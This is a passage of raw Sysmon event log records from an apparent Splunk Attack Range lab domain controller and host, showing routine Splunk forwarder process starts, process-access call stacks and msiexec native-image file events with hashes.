Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.715{7BD73061-6ECC-613B-2007-00000000F001}7036C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.495{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\S28N7JUG56\System.ServiceModel.Channels.ni.dll.auxMD5=24C96490414503BD6F9A89910E524FE6,SHA256=90368670D86C6D23108DEFB97877396DB68D63E4C13B11C6F482519FD387661B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.495{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\S28N7JUG56\System.ServiceModel.Channels.ni.dllMD5=0B906FCE3A311AB81C8EBEA00FD629F0,SHA256=E7F372A1C2CF8BDA12DBD0860F3562D207689D5C6BECCE0015EF5CA97E7649E5,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.495{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RWWS0XEEX8\System.Management.ni.dll.auxMD5=3C0E46C45BCF91E9607FCCE8F2EB1153,SHA256=8B62160D2B2016E7615E19AF407C52A66A6AB89F6AA48255F39D85AD826A6391,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.480{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RWWS0XEEX8\System.Management.ni.dllMD5=ED030D562E600AD124F818C0F59AE89D,SHA256=5080BE95FA9CA821324B2094792AE5A473F1CFBC38E20209EFDC3E775D054CE4,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.464{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RTNTAJ5QYG\System.Xml.Linq.ni.dll.auxMD5=CCF15A1A5478AD4C9A6C5EAC3B4EDB1D,SHA256=80C7E515F2F30459C447E0C663804F04B2325BC9F6246CC881B933FFF502A2BE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.464{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RTNTAJ5QYG\System.Xml.Linq.ni.dllMD5=01675F7E454CEA910CBAEB0A7D4BF59F,SHA256=0F6DF0E70167F51DABB0B82E921D337094D2833E91B72BF4BE15756F8E49DA88,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.402{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RLJ402KVPV\Microsoft.CSharp.ni.dll.auxMD5=4F6E2CF657AB3C20B463DF7873DF8594,SHA256=F609CD67B4E59BCAEA6C8472B314A28DCF1872AA6EE9113BF399F45726EB4F5A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.402{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RLJ402KVPV\Microsoft.CSharp.ni.dllMD5=5F895695883F631A993A0F8F582807B3,SHA256=1C785DA125A9DF9516988A97E44348DB77186BA39EFF3C7F82E5391505B61CC8,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.355{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RK5K12ZZVI\System.Data.ni.dll.auxMD5=AD2C4453E59EB7892FA2CC4ABD0A7E7C,SHA256=DE2C69FD102FE3E1072F2FA0F3FB9625D65E9059393B2664F5D464A7E3FEA7BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.355{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\RK5K12ZZVI\System.Data.ni.dllMD5=504A4880B14625199F3F1AEFCCE6B202,SHA256=3F6D6E89B2EBE19C15EDBC2E78B8BE32178FDB37A8C1DB5A46DB8A76701910EF,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000038159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.277{7BD73061-6ECC-613B-1F07-00000000F001}68206804C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.042{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6ECC-613B-1F07-00000000F001}6820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.042{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.042{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.042{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.042{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6ECC-613B-1F07-00000000F001}6820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.042{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.042{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6ECC-613B-1F07-00000000F001}6820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:20.043{7BD73061-6ECC-613B-1F07-00000000F001}6820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013436Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:21.241{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7ED51E8BD70DAF615E809688B1A91312,SHA256=05F344595E6DEC26D9045BAF5C6A0456BE61DA894B5226BEBAE98F951C96FF6E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.933{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SUK77Z1XOM\System.Drawing.ni.dll.auxMD5=DCEFC8B9CB7245B90F2A6AA4084A0F71,SHA256=3760AFB996B9C1860A13167C3DA5FD6B019EE185076145A71387745DC8DA24A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.933{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SUK77Z1XOM\System.Drawing.ni.dllMD5=E8956B039DFD94E1EDBD129DE56F3F2D,SHA256=1DAC647C4642EB0A13A5135BCAF254A30E477CD5DF6BD7DF978F2065CAF5BFE2,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.808{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SU6BGTV8II\System.Management.ni.dll.auxMD5=FE20915E753A6B48C1D7C978C1AFF282,SHA256=D66CA48589CA1B1CCCDFDE70ECB6B57B258A0962DA308809DD46E0F4ABEC0D4B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.808{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SU6BGTV8II\System.Management.ni.dllMD5=A2398F5CDEEC4226380CB620C5D180D8,SHA256=4007C9B8A5360D49CD4DA98D262DA539AD790AA13CA54712757441B1C56F2980,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.745{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SQ7M0TZAP9\System.Management.ni.dll.auxMD5=A1123A272EA45D0BE152C0EEBD6784E2,SHA256=5B0E627B5F7CFC5A685543302698C7882E396403C78E13DE7A7443221A86F536,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.730{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SQ7M0TZAP9\System.Management.ni.dllMD5=1EE419429DFC6FD092EA7828ED535BFB,SHA256=66C905BB59A36F4F0D862B6C9C7125C212BCD31DC12821EEB4B7B72994CAA787,IMPHASH=00000000000000000000000000000000truetrue 23542300x800000000000000038196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.608{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SNLOKA1ZYO\System.Core.ni.dll.auxMD5=68F3E83339872D673C61BCDADE513017,SHA256=25ECE5E7917FE392F280C93C69EA441333898E738D28AE8C2F578E364ED7DA77,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.608{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\temp\SNLOKA1ZYO\System.Core.ni.dllMD5=E993EA2898B9C9812D58FFE1AE84E74B,SHA256=28BB8495AE0284A1262A0A7F02F222498059917F05A973937589A60F9C8A23E2,IMPHASH=00000000000000000000000000000000truetrue 10341000x800000000000000038194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.589{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6ECD-613B-2107-00000000F001}6604C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.589{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.589{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.589{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.589{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.589{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6ECD-613B-2107-00000000F001}6604C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.589{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6ECD-613B-2107-00000000F001}6604C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.590{7BD73061-6ECD-613B-2107-00000000F001}6604C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:21.449{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1E511610815C1D4422FC286D3E16B355,SHA256=03BF6A3F45671B9E7B5859E7B9EA8B17CCEFB29D9B174CC9C51865C1E9678790,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 